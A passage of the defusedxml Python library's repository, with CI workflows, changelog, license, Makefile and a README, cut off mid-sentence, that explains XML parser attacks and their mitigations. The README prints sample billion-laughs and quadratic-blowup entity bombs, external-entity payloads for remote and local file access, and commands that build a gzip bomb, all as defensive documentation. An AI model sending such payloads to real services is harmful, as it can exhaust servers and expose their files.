[
  {
    "path": ".coveragerc",
    "content": "[run]\nbranch = True\nsource =\n    defusedxml/\n    tests.py\n\n[paths]\nsource =\n   defusedxml/\n   .tox/py*/lib/python*/site-packages/defusedxml/\n"
  },
  {
    "path": ".github/workflows/main.yml",
    "content": "---\nname: CI\n\npermissions:\n  contents: read\n\non:\n  push:\n    branches: \n      - master\n      - main\n      - v*.x\n  pull_request:\n    branches:\n      - master\n      - main\n      - v*.x\n  schedule:\n    # every Monday\n    - cron: '30 4 * * 1'\n  workflow_dispatch:\n\njobs:\n  tests:\n    name: \"Python ${{ matrix.python-version }} on ${{ matrix.image }}\"\n    runs-on: \"${{ matrix.image }}\"\n    strategy:\n      fail-fast: false\n      matrix:\n        python-version:\n          - \"3.7\"\n          - \"3.8\"\n          - \"3.9\"\n          - \"3.10\"\n          - \"3.11\"\n          - \"3.12\"\n          - \"3.13-dev\"\n          - \"pypy3.9\"\n        image: \n          - \"ubuntu-22.04\"\n        include:\n          - python-version: \"3.6\"\n            image: \"ubuntu-20.04\"\n    steps:\n      - uses: \"actions/checkout@v4\"\n      - uses: \"actions/setup-python@v4\"\n        with:\n          python-version: \"${{ matrix.python-version }}\"\n          allow-prereleases: true\n      - name: \"Update pip\"\n        run: python -m pip install --upgrade pip setuptools wheel\n      - name: \"Install tox dependencies\"\n        run: python -m pip install --upgrade tox tox-gh-actions\n      - name: \"Run tox for ${{ matrix.python-version }}\"\n        run: \"python -m tox\"\n  lint:\n    name: \"Linting\"\n    runs-on: \"ubuntu-22.04\"\n    steps:\n      - uses: \"actions/checkout@v4\"\n      - uses: \"actions/setup-python@v4\"\n        with:\n          python-version: \"3.11\"\n      - name: \"Update pip\"\n        run: python -m pip install --upgrade pip setuptools wheel\n      - name: \"Install tox dependencies\"\n        run: python -m pip install --upgrade tox\n      - name: \"Run tox for lint\"\n        run: \"python -m tox -e black,doc,pep8py3\"\n"
  },
  {
    "path": ".github/workflows/pypi.yml",
    "content": "---\nname: \"Build for PyPI (optionally: upload)\"\n\npermissions:\n  contents: read\n\non:\n  workflow_dispatch:\n    inputs:\n      tag:\n        description: tag to build\n        required: true\n        type: string\n      testpypi:\n        description: upload to Test PyPI\n        type: boolean\n        default: false\n      pypi:\n        description: upload to PyPI\n        type: boolean\n        default: false\n  push:\n    branches:\n      - master\n      - main\n      - v*.x\n  pull_request:\n    branches:\n      - master\n      - main\n      - v*.x\n\njobs:\n  pypi-build:\n    name: Build distribution\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout\n        uses: actions/checkout@v3\n        with:\n          ref: ${{ inputs.tag || github.ref }}\n      - name: Set up Python 3.10\n        uses: actions/setup-python@v4\n        with:\n          python-version: \"3.10\"\n      - name: \"Update pip\"\n        run: python -m pip install --upgrade pip setuptools wheel\n      - name: \"Install 'build' and 'twine'\"\n        run: python -m pip install --upgrade build twine\n      - name: \"Run 'build'\"\n        run: \"python -m build\"\n      - name: \"Run twine check\"\n        run: \"python -m twine check dist/*\"\n      - name: Store artifacts\n        uses: actions/upload-artifact@v3\n        with:\n          name: defusedxml\n          path: dist/\n\n  publish-to-pypi:\n    name: Publish to PyPI\n    if: inputs.pypi || false\n    needs:\n      - pypi-build\n    runs-on: ubuntu-latest\n    environment:\n      name: pypi\n      url: https://pypi.org/p/defusedxml\n    permissions:\n      id-token: write\n    steps:\n      - name: Download distribution\n        uses: actions/download-artifact@v3\n        with:\n          name: defusedxml\n          path: dist/\n      - name: Publish distribution to PyPI\n        uses: pypa/gh-action-pypi-publish@release/v1\n\n  publish-to-test-pypi:\n    name: Publish to Test PyPI\n    if: inputs.testpypi || false\n    needs:\n      - pypi-build\n    runs-on: ubuntu-latest\n    environment:\n      name: testpypi\n      url: https://test.pypi.org/p/defusedxml\n    permissions:\n      id-token: write\n    steps:\n      - name: Download distribution\n        uses: actions/download-artifact@v3\n        with:\n          name: defusedxml\n          path: dist/\n      - name: Publish distribution to Test PyPI\n        uses: pypa/gh-action-pypi-publish@release/v1\n        with:\n          repository-url: https://test.pypi.org/legacy/\n"
  },
  {
    "path": ".gitignore",
    "content": "/build/\n/dist/\n__pycache__\n*.pyc\n*.pyo\n*.egg-info\n.tox\n.cache\n.coverage\ncoverage.xml\nMANIFEST\nREADME.html\n"
  },
  {
    "path": ".hgignore",
    "content": "^build/\n^dist/\n^core\n^MANIFEST\n^README\\.html\n\n^.project\n^.pydevproject\n^.settings\n\nsyntax: glob\n*.swp\n*.pyc\n*.pyo\n*.pyd\n*~\n__pycache__"
  },
  {
    "path": "CHANGES.txt",
    "content": "Changelog\n=========\n\ndefusedxml 0.8.0\n----------------\n\n*Release date: 2023*\n\n- Fix testing without lxml\n- Test on 3.13-dev and PyPy 3.9\n\n\ndefusedxml 0.8.0rc2\n-------------------\n\n*Release date: 29-Sep-2023*\n\n- Silence deprecation warning in `defuse_stdlib`.\n- Update lxml safety information\n\n\ndefusedxml 0.8.0rc1\n-------------------\n\n*Release date: 26-Sep-2023*\n\n- Drop support for Python 2.7, 3.4, and 3.5.\n- Test on 3.10, 3.11, and 3.12.\n- Add ``defusedxml.ElementTree.fromstringlist()``\n- Update *vulnerabilities and features* table in README.\n- **Pending removal** The ``defusedxml.lxml`` module has been unmaintained and\n  deprecated since 2019. The module will be removed in the next version.\n- **Pending removal** The ``defusedxml.cElementTree`` will be removed in the\n  next version. Please use ``defusedxml.ElementTree`` instead.\n\n\ndefusedxml 0.7.1\n----------------\n\n*Release date: 08-Mar-2021*\n\n- Fix regression ``defusedxml.ElementTree.ParseError`` (#63)\n  The ``ParseError`` exception is now the same class object as\n  ``xml.etree.ElementTree.ParseError`` again.\n\n\ndefusedxml 0.7.0\n----------------\n\n*Release date: 4-Mar-2021*\n\n- No changes\n\n\ndefusedxml 0.7.0rc2\n-------------------\n\n*Release date: 12-Jan-2021*\n\n- Re-add and deprecate ``defusedxml.cElementTree``\n- Use GitHub Actions instead of TravisCI\n- Restore ``ElementTree`` attribute of ``xml.etree`` module after patching\n\n\ndefusedxml 0.7.0rc1\n-------------------\n\n*Release date: 04-May-2020*\n\n- Add support for Python 3.9\n- ``defusedxml.cElementTree`` is not available with Python 3.9.\n- Python 2 is deprecate. Support for Python 2 will be removed in 0.8.0.\n\n\ndefusedxml 0.6.0\n----------------\n\n*Release date: 17-Apr-2019*\n\n- Increase test coverage.\n- Add badges to README.\n\n\ndefusedxml 0.6.0rc1\n-------------------\n\n*Release date: 14-Apr-2019*\n\n- Test on Python 3.7 stable and 3.8-dev\n- Drop support for Python 3.4\n- No longer pass *html* argument to XMLParse. It has been deprecated and\n  ignored for a long time. The DefusedXMLParser still takes a html argument.\n  A deprecation warning is issued when the argument is False and a TypeError\n  when it's True.\n- defusedxml now fails early when pyexpat stdlib module is not available or\n  broken.\n- defusedxml.ElementTree.__all__ now lists ParseError as public attribute.\n- The defusedxml.ElementTree and defusedxml.cElementTree modules had a typo\n  and used XMLParse instead of XMLParser as an alias for DefusedXMLParser.\n  Both the old and fixed name are now available.\n\n\ndefusedxml 0.5.0\n----------------\n\n*Release date: 07-Feb-2017*\n\n- No changes\n\n\ndefusedxml 0.5.0.rc1\n--------------------\n\n*Release date: 28-Jan-2017*\n\n- Add compatibility with Python 3.6\n- Drop support for Python 2.6, 3.1, 3.2, 3.3\n- Fix lxml tests (XMLSyntaxError: Detected an entity reference loop)\n\n\ndefusedxml 0.4.1\n----------------\n\n*Release date: 28-Mar-2013*\n\n- Add more demo exploits, e.g. python_external.py and Xalan XSLT demos.\n- Improved documentation.\n\n\ndefusedxml 0.4\n--------------\n\n*Release date: 25-Feb-2013*\n\n- As per http://seclists.org/oss-sec/2013/q1/340 please REJECT\n  CVE-2013-0278, CVE-2013-0279 and CVE-2013-0280 and use CVE-2013-1664,\n  CVE-2013-1665 for OpenStack/etc.\n- Add missing parser_list argument to sax.make_parser(). The argument is\n  ignored, though. (thanks to Florian Apolloner)\n- Add demo exploit for external entity attack on Python's SAX parser, XML-RPC\n  and WebDAV.\n\n\ndefusedxml 0.3\n--------------\n\n*Release date: 19-Feb-2013*\n\n- Improve documentation\n\n\ndefusedxml 0.2\n--------------\n\n*Release date: 15-Feb-2013*\n\n- Rename ExternalEntitiesForbidden to ExternalReferenceForbidden\n- Rename defusedxml.lxml.check_dtd() to check_docinfo()\n- Unify argument names in callbacks\n- Add arguments and formatted representation to exceptions\n- Add forbid_external argument to all functions and classes\n- More tests\n- LOTS of documentation\n- Add example code for other languages (Ruby, Perl, PHP) and parsers (Genshi)\n- Add protection against XML and gzip attacks to xmlrpclib\n\ndefusedxml 0.1\n--------------\n\n*Release date: 08-Feb-2013*\n\n- Initial and internal release for PSRT review\n"
  },
  {
    "path": "LICENSE",
    "content": "PYTHON SOFTWARE FOUNDATION LICENSE VERSION 2\n--------------------------------------------\n\n1. This LICENSE AGREEMENT is between the Python Software Foundation\n(\"PSF\"), and the Individual or Organization (\"Licensee\") accessing and\notherwise using this software (\"Python\") in source or binary form and\nits associated documentation.\n\n2. Subject to the terms and conditions of this License Agreement, PSF\nhereby grants Licensee a nonexclusive, royalty-free, world-wide\nlicense to reproduce, analyze, test, perform and/or display publicly,\nprepare derivative works, distribute, and otherwise use Python\nalone or in any derivative version, provided, however, that PSF's\nLicense Agreement and PSF's notice of copyright, i.e., \"Copyright (c)\n2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008 Python Software Foundation; \nAll Rights Reserved\" are retained in Python alone or in any derivative \nversion prepared by Licensee.\n\n3. In the event Licensee prepares a derivative work that is based on\nor incorporates Python or any part thereof, and wants to make\nthe derivative work available to others as provided herein, then\nLicensee hereby agrees to include in any such work a brief summary of\nthe changes made to Python.\n\n4. PSF is making Python available to Licensee on an \"AS IS\"\nbasis.  PSF MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR\nIMPLIED.  BY WAY OF EXAMPLE, BUT NOT LIMITATION, PSF MAKES NO AND\nDISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS\nFOR ANY PARTICULAR PURPOSE OR THAT THE USE OF PYTHON WILL NOT\nINFRINGE ANY THIRD PARTY RIGHTS.\n\n5. PSF SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF PYTHON\nFOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS AS\nA RESULT OF MODIFYING, DISTRIBUTING, OR OTHERWISE USING PYTHON,\nOR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF.\n\n6. This License Agreement will automatically terminate upon a material\nbreach of its terms and conditions.\n\n7. Nothing in this License Agreement shall be deemed to create any\nrelationship of agency, partnership, or joint venture between PSF and\nLicensee.  This License Agreement does not grant permission to use PSF\ntrademarks or trade name in a trademark sense to endorse or promote\nproducts or services of Licensee, or any third party.\n\n8. By copying, installing or otherwise using Python, Licensee\nagrees to be bound by the terms and conditions of this License\nAgreement.\n\n"
  },
  {
    "path": "MANIFEST.in",
    "content": "include setup.py\ninclude README.txt CHANGES.txt LICENSE README.html\ninclude void.css\ninclude MANIFEST.in\ninclude setup.py Makefile\ninclude tests.py\nrecursive-include xmltestdata *.xml\nrecursive-include other *.php *.pl *.rb *.py *.txt\n\n"
  },
  {
    "path": "Makefile",
    "content": "PYTHON=python3\nSETUPFLAGS=\nCOMPILEFLAGS=\nINSTALLFLAGS=\n\n.PHONY: inplace all rebuild test_inplace test fulltests clean distclean\n.PHONY: sdist install black\n\nall: inplace black README.html README.md\n\nREADME.md: README.txt CHANGES.txt\n\tpandoc --from=rst --to=gfm README.txt > $@\n\tpandoc --from=rst --to=gfm CHANGES.txt >> $@\n\tsed -i ':a;N;$$!ba;s/\\n\\[!/[!/g' $@\n\nREADME.html: README.txt CHANGES.txt void.css\n\t@echo | cat README.txt - CHANGES.txt | \\\n\t    rst2html --verbose --exit-status=1 --stylesheet=void.css \\\n            > README.html\n\ninplace:\n\t$(PYTHON) setup.py $(SETUPFLAGS) build_ext -i $(COMPILEFLAGS)\n\nrebuild: clean all\n\ntest_inplace: inplace\n\t$(PYTHON) -m tests\n\ntest: test_inplace\n\nblack:\n\tblack $(CURDIR) || true\n\nclean:\n\t@find . \\( -name '*.o' -or -name '*.so' -or -name '*.sl' -or \\\n\t           -name '*.py[cod]' -or -name README.html \\) \\\n\t    -and -type f -delete\n\t@rm -f .coverage .coverage.* coverage.xml\n\ndistclean: clean\n\t@rm -rf build\n\t@rm -rf dist\n\t@find . \\( -name '~*' -or -name '*.orig' -or -name '*.bak' -or \\\n\t          -name 'core*' \\) -and -type f  -delete\n\nwhitespace:\n\t@find \\( -name '*.rst' -or -name '*.py' -or -name '*.xml' \\) | \\\n\t    xargs sed -i 's/[ \\t]*$$//'\n\n\npackages: README.html README.md\n\t$(PYTHON) setup.py packages\n\ninstall:\n\t$(PYTHON) setup.py $(SETUPFLAGS) build $(COMPILEFLAGS)\n\t$(PYTHON) setup.py install $(INSTALLFLAGS)\n"
  },
  {
    "path": "README.md",
    "content": "# defusedxml -- defusing XML bombs and other exploits\n[![Latest Version](https://img.shields.io/pypi/v/defusedxml.svg)](https://pypi.org/project/defusedxml/)\n[![Supported Python versions](https://img.shields.io/pypi/pyversions/defusedxml.svg)](https://pypi.org/project/defusedxml/)\n[![Travis CI](https://travis-ci.org/tiran/defusedxml.svg?branch=master)](https://travis-ci.org/tiran/defusedxml)\n[![codecov](https://codecov.io/github/tiran/defusedxml/coverage.svg?branch=master)](https://codecov.io/github/tiran/defusedxml?branch=master)\n[![PyPI downloads](https://img.shields.io/pypi/dm/defusedxml.svg)](https://pypistats.org/packages/defusedxml)\n[![Code style: black](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/psf/black)\n\n> \"It's just XML, what could probably go wrong?\"\n\nChristian Heimes \\<<christian@python.org>\\>\n\n## Synopsis\n\nThe results of an attack on a vulnerable XML library can be fairly\ndramatic. With just a few hundred **Bytes** of XML data an attacker can\noccupy several **Gigabytes** of memory within **seconds**. An attacker\ncan also keep CPUs busy for a long time with a small to medium size\nrequest. Under some circumstances it is even possible to access local\nfiles on your server, to circumvent a firewall, or to abuse services to\nrebound attacks to third parties.\n\nThe attacks use and abuse less common features of XML and its parsers.\nThe majority of developers are unacquainted with features such as\nprocessing instructions and entity expansions that XML inherited from\nSGML. At best they know about `<!DOCTYPE>` from experience with HTML but\nthey are not aware that a document type definition (DTD) can generate an\nHTTP request or load a file from the file system.\n\nNone of the issues is new. They have been known for a long time. Billion\nlaughs was first reported in 2003. Nevertheless some XML libraries and\napplications are still vulnerable and even heavy users of XML are\nsurprised by these features. It's hard to say whom to blame for the\nsituation. It's too short sighted to shift all blame on XML parsers and\nXML libraries for using insecure default settings. After all they\nproperly implement XML specifications. Application developers must not\nrely that a library is always configured for security and potential\nharmful data by default.\n\n<div class=\"contents\" depth=\"2\">\n\nTable of Contents\n\n</div>\n\n## Attack vectors\n\n### billion laughs / exponential entity expansion\n\nThe [Billion Laughs](https://en.wikipedia.org/wiki/Billion_laughs)\nattack -- also known as exponential entity expansion --uses multiple\nlevels of nested entities. The original example uses 9 levels of 10\nexpansions in each level to expand the string `lol` to a string of 3 \\*\n10 <sup>9</sup> bytes, hence the name \"billion laughs\". The resulting\nstring occupies 3 GB (2.79 GiB) of memory; intermediate strings require\nadditional memory. Because most parsers don't cache the intermediate\nstep for every expansion it is repeated over and over again. It\nincreases the CPU load even more.\n\nAn XML document of just a few hundred bytes can disrupt all services on\na machine within seconds.\n\nExample XML:\n\n    <!DOCTYPE xmlbomb [\n    <!ENTITY a \"1234567890\" >\n    <!ENTITY b \"&a;&a;&a;&a;&a;&a;&a;&a;\">\n    <!ENTITY c \"&b;&b;&b;&b;&b;&b;&b;&b;\">\n    <!ENTITY d \"&c;&c;&c;&c;&c;&c;&c;&c;\">\n    ]>\n    <bomb>&d;</bomb>\n\n### quadratic blowup entity expansion\n\nA quadratic blowup attack is similar to a [Billion\nLaughs](https://en.wikipedia.org/wiki/Billion_laughs) attack; it abuses\nentity expansion, too. Instead of nested entities it repeats one large\nentity with a couple of thousand chars over and over again. The attack\nisn't as efficient as the exponential case but it avoids triggering\ncountermeasures of parsers against heavily nested entities. Some parsers\nlimit the depth and breadth of a single entity but not the total amount\nof expanded text throughout an entire XML document.\n\nA medium-sized XML document with a couple of hundred kilobytes can\nrequire a couple of hundred MB to several GB of memory. When the attack\nis combined with some level of nested expansion an attacker is able to\nachieve a higher ratio of success.\n\n    <!DOCTYPE bomb [\n    <!ENTITY a \"xxxxxxx... a couple of ten thousand chars\">\n    ]>\n    <bomb>&a;&a;&a;... repeat</bomb>\n\n### external entity expansion (remote)\n\nEntity declarations can contain more than just text for replacement.\nThey can also point to external resources by public identifiers or\nsystem identifiers. System identifiers are standard URIs. When the URI\nis a URL (e.g. a `http://` locator) some parsers download the resource\nfrom the remote location and embed them into the XML document verbatim.\n\nSimple example of a parsed external entity:\n\n    <!DOCTYPE external [\n    <!ENTITY ee SYSTEM \"http://www.python.org/some.xml\">\n    ]>\n    <root>&ee;</root>\n\nThe case of parsed external entities works only for valid XML content.\nThe XML standard also supports unparsed external entities with a\n`NData declaration`.\n\nExternal entity expansion opens the door to plenty of exploits. An\nattacker can abuse a vulnerable XML library and application to rebound\nand forward network requests with the IP address of the server. It\nhighly depends on the parser and the application what kind of exploit is\npossible. For example:\n\n-   An attacker can circumvent firewalls and gain access to restricted\n    resources as all the requests are made from an internal and\n    trustworthy IP address, not from the outside.\n-   An attacker can abuse a service to attack, spy on or DoS your\n    servers but also third party services. The attack is disguised with\n    the IP address of the server and the attacker is able to utilize the\n    high bandwidth of a big machine.\n-   An attacker can exhaust additional resources on the machine, e.g.\n    with requests to a service that doesn't respond or responds with\n    very large files.\n-   An attacker may gain knowledge, when, how often and from which IP\n    address an XML document is accessed.\n-   An attacker could send mail from inside your network if the URL\n    handler supports `smtp://` URIs.\n\n### external entity expansion (local file)\n\nExternal entities with references to local files are a sub-case of\nexternal entity expansion. It's listed as an extra attack because it\ndeserves extra attention. Some XML libraries such as lxml disable\nnetwork access by default but still allow entity expansion with local\nfile access by default. Local files are either referenced with a\n`file://` URL or by a file path (either relative or absolute).\nAdditionally, lxml's `libxml2` has catalog support. XML catalogs like\n`/etc/xml/catalog` are XML files, which map schema URIs to local files.\n\nAn attacker may be able to access and download all files that can be\nread by the application process. This may include critical configuration\nfiles, too.\n\n    <!DOCTYPE external [\n    <!ENTITY ee SYSTEM \"file:///PATH/TO/simple.xml\">\n    ]>\n    <root>&ee;</root>\n\n### DTD retrieval\n\nThis case is similar to external entity expansion, too. Some XML\nlibraries like Python's xml.dom.pulldom retrieve document type\ndefinitions from remote or local locations. Several attack scenarios\nfrom the external entity case apply to this issue as well.\n\n    <?xml version=\"1.0\" encoding=\"utf-8\"?>\n    <!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"\n      \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n    <html>\n        <head/>\n        <body>text</body>\n    </html>\n\n## Python XML Libraries\n\n| kind                                   | sax           | etree         | minidom       | pulldom       | xmlrpc        |\n|----------------------------------------|---------------|---------------|---------------|---------------|---------------|\n| billion laughs                         | **Maybe** (1) | **Maybe** (1) | **Maybe** (1) | **Maybe** (1) | **Maybe** (1) |\n| quadratic blowup                       | **Maybe** (1) | **Maybe** (1) | **Maybe** (1) | **Maybe** (1) | **Maybe** (1) |\n| external entity expansion (remote)     | False (2)     | False (3)     | False (4)     | False (2)     | false         |\n| external entity expansion (local file) | False (2)     | False (3)     | False (4)     | False (2)     | false         |\n| DTD retrieval                          | False (2)     | False         | False         | False (2)     | false         |\n| gzip bomb                              | False         | False         | False         | False         | **True**      |\n| xpath support (6)                      | False         | False         | False         | False         | False         |\n| xsl(t) support (6)                     | False         | False         | False         | False         | False         |\n| xinclude support (6)                   | False         | **True** (5)  | False         | False         | False         |\n| C library                              | expat         | expat         | expat         | expat         | expat         |\n\nvulnerabilities and features\n\n1.  [expat parser](https://libexpat.github.io/) >= 2.4.0 has [billion\n    laughs\n    protection](https://libexpat.github.io/doc/api/latest/#billion-laughs)\n    against XML bombs (CVE-2013-0340). The parser has sensible defaults\n    for `XML_SetBillionLaughsAttackProtectionMaximumAmplification` and\n    `XML_SetBillionLaughsAttackProtectionActivationThreshold`.\n2.  Python >= 3.6.8, >= 3.7.1, and >= 3.8 no longer retrieve local and\n    remote resources with urllib, see\n    [bpo-17239](https://github.com/python/cpython/issues/61441).\n3.  xml.etree doesn't expand entities and raises a ParserError when an\n    entity occurs.\n4.  minidom doesn't expand entities and simply returns the unexpanded\n    entity verbatim.\n5.  Library has (limited) XInclude support but requires an additional\n    step to process inclusion.\n6.  These are features but they may introduce exploitable holes, see\n    [Other things to consider](#other-things-to-consider)\n\n### Settings in standard library\n\n#### xml.sax.handler Features\n\nfeature_external_ges (<http://xml.org/sax/features/external-general-entities>)  \ndisables external entity expansion\n\nfeature_external_pes (<http://xml.org/sax/features/external-parameter-entities>)  \nthe option is ignored and doesn't modify any functionality\n\n#### DOM xml.dom.xmlbuilder.Options\n\nexternal_parameter_entities  \nignored\n\nexternal_general_entities  \nignored\n\nexternal_dtd_subset  \nignored\n\nentities  \nunsure\n\n## defusedxml\n\nThe [defusedxml package](https://github.com/tiran/defusedxml)\n([defusedxml on PyPI](https://pypi.python.org/pypi/defusedxml)) contains\nseveral Python-only workarounds and fixes for denial of service and\nother vulnerabilities in Python's XML libraries. In order to benefit\nfrom the protection you just have to import and use the listed functions\n/ classes from the right defusedxml module instead of the original\nmodule. Merely [defusedxml.xmlrpc](#defusedxml.xmlrpc) is implemented as\nmonkey patch.\n\nInstead of:\n\n    >>> from xml.etree.ElementTree import parse\n    >>> et = parse(xmlfile)\n\nalter code to:\n\n    >>> from defusedxml.ElementTree import parse\n    >>> et = parse(xmlfile)\n\n<div class=\"note\">\n\n<div class=\"title\">\n\nNote\n\n</div>\n\nThe defusedxml modules are not drop-in replacements of their stdlib\ncounterparts. The modules only provide functions and classes related to\nparsing and loading of XML. For all other features, use the classes,\nfunctions, and constants from the stdlib modules. For example:\n\n    >>> from defusedxml import ElementTree as DET\n    >>> from xml.etree.ElementTree as ET\n\n    >>> root = DET.fromstring(\"<root/>\")\n    >>> root.append(ET.Element(\"item\"))\n    >>> ET.tostring(root)\n    b'<root><item /></root>'\n\n</div>\n\nAdditionally the package has an **untested** function to monkey patch\nall stdlib modules with `defusedxml.defuse_stdlib()`.\n\n<div class=\"warning\">\n\n<div class=\"title\">\n\nWarning\n\n</div>\n\n`defuse_stdlib()` should be avoided. It can break third party package or\ncause surprising side effects. Instead you should use the parsing\nfeatures of defusedxml explicitly.\n\n</div>\n\nAll functions and parser classes accept three additional keyword\narguments. They return either the same objects as the original functions\nor compatible subclasses.\n\nforbid_dtd (default: False)  \ndisallow XML with a `<!DOCTYPE>` processing instruction and raise a\n*DTDForbidden* exception when a DTD processing instruction is found.\n\nforbid_entities (default: True)  \ndisallow XML with `<!ENTITY>` declarations inside the DTD and raise an\n*EntitiesForbidden* exception when an entity is declared.\n\nforbid_external (default: True)  \ndisallow any access to remote or local resources in external entities or\nDTD and raising an *ExternalReferenceForbidden* exception when a DTD or\nentity references an external resource.\n\n### defusedxml (package)\n\nDefusedXmlException, DTDForbidden, EntitiesForbidden,\nExternalReferenceForbidden, NotSupportedError\n\ndefuse_stdlib() (*experimental*)\n\n### defusedxml.cElementTree\n\n**NOTE** `defusedxml.cElementTree` is deprecated and will be removed in\na future release. Import from `defusedxml.ElementTree` instead.\n\nparse(), iterparse(), fromstring(), XMLParser\n\n### defusedxml.ElementTree\n\nparse(), iterparse(), fromstring(), XMLParser\n\n### defusedxml.expatreader\n\ncreate_parser(), DefusedExpatParser\n\n### defusedxml.sax\n\nparse(), parseString(), make_parser()\n\n### defusedxml.expatbuilder\n\nparse(), parseString(), DefusedExpatBuilder, DefusedExpatBuilderNS\n\n### defusedxml.minidom\n\nparse(), parseString()\n\n### defusedxml.pulldom\n\nparse(), parseString()\n\n### defusedxml.xmlrpc\n\nThe fix is implemented as monkey patch for the stdlib's xmlrpc package\n(3.x) or xmlrpclib module (2.x). The function <span\nclass=\"title-ref\">monkey_patch()</span> enables the fixes, <span\nclass=\"title-ref\">unmonkey_patch()</span> removes the patch and puts the\ncode in its former state.\n\nThe monkey patch protects against XML related attacks as well as\ndecompression bombs and excessively large requests or responses. The\ndefault setting is 30 MB for requests, responses and gzip decompression.\nYou can modify the default by changing the module variable <span\nclass=\"title-ref\">MAX_DATA</span>. A value of <span\nclass=\"title-ref\">-1</span> disables the limit.\n\n### defusedxml.lxml\n\n**DEPRECATED** The module is deprecated and will be removed in a future\nrelease.\n\nlxml is safe against most attack scenarios. lxml uses `libxml2` for\nparsing XML. The library has builtin mitigations against billion laughs\nand quadratic blowup attacks. The parser allows a limit amount of entity\nexpansions, then fails. lxml also disables network access by default.\nlibxml2 [lxml\nFAQ](https://lxml.de/FAQ.html#how-do-i-use-lxml-safely-as-a-web-service-endpoint)\nlists additional recommendations for safe parsing, for example counter\nmeasures against compression bombs.\n\nThe default parser resolves entities and protects against huge trees and\ndeeply nested entities. To disable entities expansion, use a custom\nparser object:\n\n    from lxml import etree\n\n    parser = etree.XMLParser(resolve_entities=False)\n    root = etree.fromstring(\"<example/>\", parser=parser)\n\nThe module acts as an *example* how you could protect code that uses\nlxml.etree. It implements a custom Element class that filters out Entity\ninstances, a custom parser factory and a thread local storage for parser\ninstances. It also has a check_docinfo() function which inspects a tree\nfor internal or external DTDs and entity declarations. In order to check\nfor entities lxml \\> 3.0 is required.\n\nparse(), fromstring() RestrictedElement, GlobalParserTLS,\ngetDefaultParser(), check_docinfo()\n\n## defusedexpat\n\nThe [defusedexpat package](https://github.com/tiran/defusedexpat)\n([defusedexpat on PyPI](https://pypi.python.org/pypi/defusedexpat)) is\nno longer supported. [expat parser](https://libexpat.github.io/) 2.4.0\nand newer come with [billion laughs\nprotection](https://libexpat.github.io/doc/api/latest/#billion-laughs)\nagainst XML bombs.\n\n## How to avoid XML vulnerabilities\n\nUpdate to Python 3.6.8, 3.7.1, or newer. The SAX and DOM parser do not\nload external entities from files or network resources.\n\nUpdate to expat to 2.4.0 or newer. It has [billion laughs\nprotection](https://libexpat.github.io/doc/api/latest/#billion-laughs)\nwith sensible default limits to mitigate billion laughs and quadratic\nblowup.\n\nOfficial binaries from python.org use libexpat 2.4.0 since 3.7.12,\n3.8.12, 3.9.7, and 3.10.0 (August 2021). Third party vendors may use\nolder or newer versions of expat. `pyexpat.version_info` contains the\ncurrent runtime version of libexpat. Vendors may have backported fixes\nto older versions without bumping the version number.\n\nExample:\n\n    import sys\n    import pyexpat\n\n    has_mitigations = (\n        sys.version_info >= (3, 7, 1) and\n        pyexpat.version_info >= (2, 4, 0)\n    )\n\n### Best practices\n\n-   Don't allow DTDs\n-   Don't expand entities\n-   Don't resolve externals\n-   Limit parse depth\n-   Limit total input size\n-   Limit parse time\n-   Favor a SAX or iterparse-like parser for potential large data\n-   Validate and properly quote arguments to XSL transformations and\n    XPath queries\n-   Don't use XPath expression from untrusted sources\n-   Don't apply XSL transformations that come untrusted sources\n\n(based on Brad Hill's [Attacking XML\nSecurity](https://www.isecpartners.com/media/12976/iSEC-HILL-Attacking-XML-Security-bh07.pdf))\n\n## Other things to consider\n\nXML, XML parsers and processing libraries have more features and\npossible issue that could lead to DoS vulnerabilities or security\nexploits in applications. I have compiled an incomplete list of\ntheoretical issues that need further research and more attention. The\nlist is deliberately pessimistic and a bit paranoid, too. It contains\nthings that might go wrong under daffy circumstances.\n\n### attribute blowup / hash collision attack\n\nXML parsers may use an algorithm with quadratic runtime O(n\n<sup>2</sup>) to handle attributes and namespaces. If it uses hash\ntables (dictionaries) to store attributes and namespaces the\nimplementation may be vulnerable to hash collision attacks, thus\nreducing the performance to O(n <sup>2</sup>) again. In either case an\nattacker is able to forge a denial of service attack with an XML\ndocument that contains thousands upon thousands of attributes in a\nsingle node.\n\nI haven't researched yet if expat, pyexpat or libxml2 are vulnerable.\n\n### decompression bomb\n\nThe issue of decompression bombs (aka [ZIP\nbomb](https://en.wikipedia.org/wiki/Zip_bomb)) apply to all XML\nlibraries that can parse compressed XML stream like gzipped HTTP streams\nor LZMA-ed files. For an attacker it can reduce the amount of\ntransmitted data by three magnitudes or more. Gzip is able to compress 1\nGiB zeros to roughly 1 MB, lzma is even better:\n\n    $ dd if=/dev/zero bs=1M count=1024 | gzip > zeros.gz\n    $ dd if=/dev/zero bs=1M count=1024 | lzma -z > zeros.xy\n    $ ls -sh zeros.*\n    1020K zeros.gz\n     148K zeros.xy\n\nNone of Python's standard XML libraries decompress streams except for\n`xmlrpclib`. The module is vulnerable\n\\<<https://bugs.python.org/issue16043>\\> to decompression bombs.\n\nlxml can load and process compressed data through libxml2 transparently.\nlibxml2 can handle even very large blobs of compressed data efficiently\nwithout using too much memory. But it doesn't protect applications from\ndecompression bombs. A carefully written SAX or iterparse-like approach\ncan be safe.\n\n### Processing Instruction\n\n[PI](https://en.wikipedia.org/wiki/Processing_Instruction)'s like:\n\n    <?xml-stylesheet type=\"text/xsl\" href=\"style.xsl\"?>\n\nmay impose more threats for XML processing. It depends if and how a\nprocessor handles processing instructions. The issue of URL retrieval\nwith network or local file access apply to processing instructions, too.\n\n### Other DTD features\n\n[DTD](https://en.wikipedia.org/wiki/Document_Type_Definition) has more\nfeatures like `<!NOTATION>`. I haven't researched how these features may\nbe a security threat.\n\n### XPath\n\nXPath statements may introduce DoS vulnerabilities. Code should never\nexecute queries from untrusted sources. An attacker may also be able to\ncreate an XML document that makes certain XPath queries costly or\nresource hungry.\n\n### XPath injection attacks\n\nXPath injeciton 